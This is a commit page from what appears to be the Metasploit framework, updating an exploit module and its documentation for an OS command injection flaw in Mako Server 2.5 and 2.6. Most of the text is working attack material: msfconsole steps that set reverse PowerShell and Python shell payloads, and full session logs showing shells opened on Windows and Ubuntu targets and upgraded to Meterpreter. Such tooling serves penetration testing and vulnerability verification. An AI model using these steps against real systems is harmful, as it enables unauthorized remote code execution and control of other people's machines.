Land #9197, Cleanup Mako Server exploit

MS-2855/keylogger-mettle-extension 4.16.17
Adam Cammack 2017-11-15 15:01:31 -06:00
commit c740f4369c
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## Description
This module exploits a vulnerability found in Mako Server v2.5.
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
@ -9,33 +9,48 @@
[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
This module has been verified against the following Mako Server versions for Windows XP SP3 and Windows 7 SP1 (x86/x64):
This module has been verified against the following Mako Server versions for Windows XP SP3, Windows 7 SP1 and Linux Ubuntu 16.04 LTS:
- v2.5
- v2.6
Links:
- [Windows installer](https://makoserver.net/download/mako.windows.x86.exe)
- [Windows x86 installer](https://makoserver.net/download/mako.windows.x86.exe)
- [Windows download page](https://makoserver.net/download/windows)
- [Documentation](https://makoserver.net/documentation/manual/)
- [Linux x64 installer](https://makoserver.net/download/mako.linux-x64.tar.gz)
- [Linux download page](https://makoserver.net/download/linux-x86)
- [Documentation](https://makoserver.net/download/manual)
## References for vulnerability
- https://blogs.securiteam.com/index.php/archives/3391
- https://www.exploit-db.com/exploits/42683
## Verification Steps
## Verification Steps for Windows
1. Run the installer "mako.windows.x86" on a Windows 7 SP1 (x86/x64) target (with Powershell for this example to work)
2. After installer finishes, double click the "Mako-Demo" shortcut on the desktop
3. Start msfconsole on host
4. Do: ```use exploit/windows/http/makoserver_cmd_exec```
5. Do: ```set RHOST <IP address of target system>```
6. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
7. Do: ```set LHOST <IP address of host system>```
8. Do: ```exploit```
9. You should get a Windows command shell
4. Start msfconsole on host
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
6. Do: ```set RHOST <IP address of target system>```
7. Do: ```set PAYLOAD cmd/windows/reverse_powershell```
8. Do: ```set LHOST <IP address of host system>```
9. Do: ```exploit```
10. You should get a Windows command shell
## Verification Steps for Linux
1. Extract the "mako.linux-x64.tar.gz" on a Linux Ubuntu 16.04 LTS (x64) target (with Python for this example to work)
2. From inside the extracted folder, do ```./rundemo.sh```
4. Start msfconsole on host
5. Do: ```use exploit/multi/http/makoserver_cmd_exec```
6. Do: ```set RHOST <IP address of target system>```
7. Do: ```set PAYLOAD cmd/unix/python_reverse```
8. Do: ```set LHOST <IP address of host system>```
9. Do: ```exploit```
10. You should get a Linux command shell (may need to wait ~30 seconds)
## Example Output
```
msf > use exploit/windows/http/makoserver_cmd_exec
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@ -57,7 +72,7 @@ C:\Users\Smith\Downloads\MakoServer>
## Example Verbose Output
```
msf > use exploit/windows/http/makoserver_cmd_exec
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.3
RHOST => 10.10.10.3
msf exploit(makoserver_cmd_exec) > set VERBOSE true
@ -94,7 +109,7 @@ C:\Users\Smith\Downloads\MakoServer>
A typical scenario would be to obtain a Windows command shell and then upgrade to a Meterpreter session:
```
msf > use exploit/windows/http/makoserver_cmd_exec
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/windows/reverse_powershell
@ -161,3 +176,76 @@ C:\Users\Smith\Downloads\MakoServer>
Logged On Users : 2
Meterpreter : x86/windows
```
### Targeting Linux Ubuntu 16.04 LTS x64 running Mako Server v2.5
A typical scenario would be to obtain a Linux command shell and then upgrade to a Meterpreter session:
```
msf > use exploit/multi/http/makoserver_cmd_exec
msf exploit(makoserver_cmd_exec) > set RHOST 10.10.10.2
RHOST => 10.10.10.2
msf exploit(makoserver_cmd_exec) > set PAYLOAD cmd/unix/reverse_python
PAYLOAD => cmd/unix/reverse_python
msf exploit(makoserver_cmd_exec) > set LHOST 10.10.10.4
LHOST => 10.10.10.4
msf exploit(makoserver_cmd_exec) > check
[*] 10.10.10.2:80 The target appears to be vulnerable.
msf exploit(makoserver_cmd_exec) > exploit
[*] Started reverse TCP handler on 10.10.10.4:4444
[*] Sending payload to target...
[*] Command shell session 1 opened (10.10.10.4:4444 -> 10.10.10.2:57888) at 2017-11-10 15:52:33 -0500
ls
LICENSE.txt
mako
mako.zip
README.txt
rundemo.sh
tutorial
^Z
Background session 1? [y/N] y
msf exploit(makoserver_cmd_exec) > use multi/manage/shell_to_meterpreter
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
msf post(shell_to_meterpreter) > set SESSION 1
SESSION => 1
msf post(shell_to_meterpreter) > set LPORT 8080
LPORT => 8080
msf post(shell_to_meterpreter) > exploit
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 10.10.10.4:8080
[*] Sending stage (847604 bytes) to 10.10.10.2
[*] Meterpreter session 2 opened (10.10.10.4:8080 -> 10.10.10.2:60448) at 2017-11-10 15:54:38 -0500
[*] Command stager progress: 100.00% (736/736 bytes)
[*] Post module execution completed
msf post(shell_to_meterpreter) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 shell cmd/unix 10.10.10.4:4444 -> 10.10.10.2:57888 (10.10.10.2)
2 meterpreter x86/linux uid=1000, gid=1000, euid=1000, egid=1000 @ 10.10.10.2 10.10.10.4:8080 -> 10.10.10.2:60448 (10.10.10.2)
msf post(shell_to_meterpreter) > sessions -i 2
[*] Starting interaction with 2...
meterpreter > getuid
Server username: uid=1000, gid=1000, euid=1000, egid=1000
meterpreter > sysinfo
Computer : 10.10.10.2
OS : Ubuntu 16.04 (Linux 4.10.0-35-generic)
Architecture : x64
Meterpreter : x86/linux
```

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##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Mako Server v2.5 OS Command Injection RCE',
'Name' => 'Mako Server v2.5, 2.6 OS Command Injection RCE',
'Description' => %q{
This module exploits a vulnerability found in Mako Server v2.5.
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
It's possible to inject arbitrary OS commands in the Mako Server
tutorial page through a PUT request to save.lsp.
@ -31,10 +31,10 @@ class MetasploitModule < Msf::Exploit::Remote
['URL', 'https://blogs.securiteam.com/index.php/archives/3391']
],
'Arch' => ARCH_CMD,
'Platform' => 'win',
'Platform' => %w[win unix],
'Targets' =>
[
['Mako Server v2.5 - Windows x86/x64', { }]
['Mako Server v2.5, 2.6', {}]
],
'DefaultTarget' => 0,
'Privileged' => false,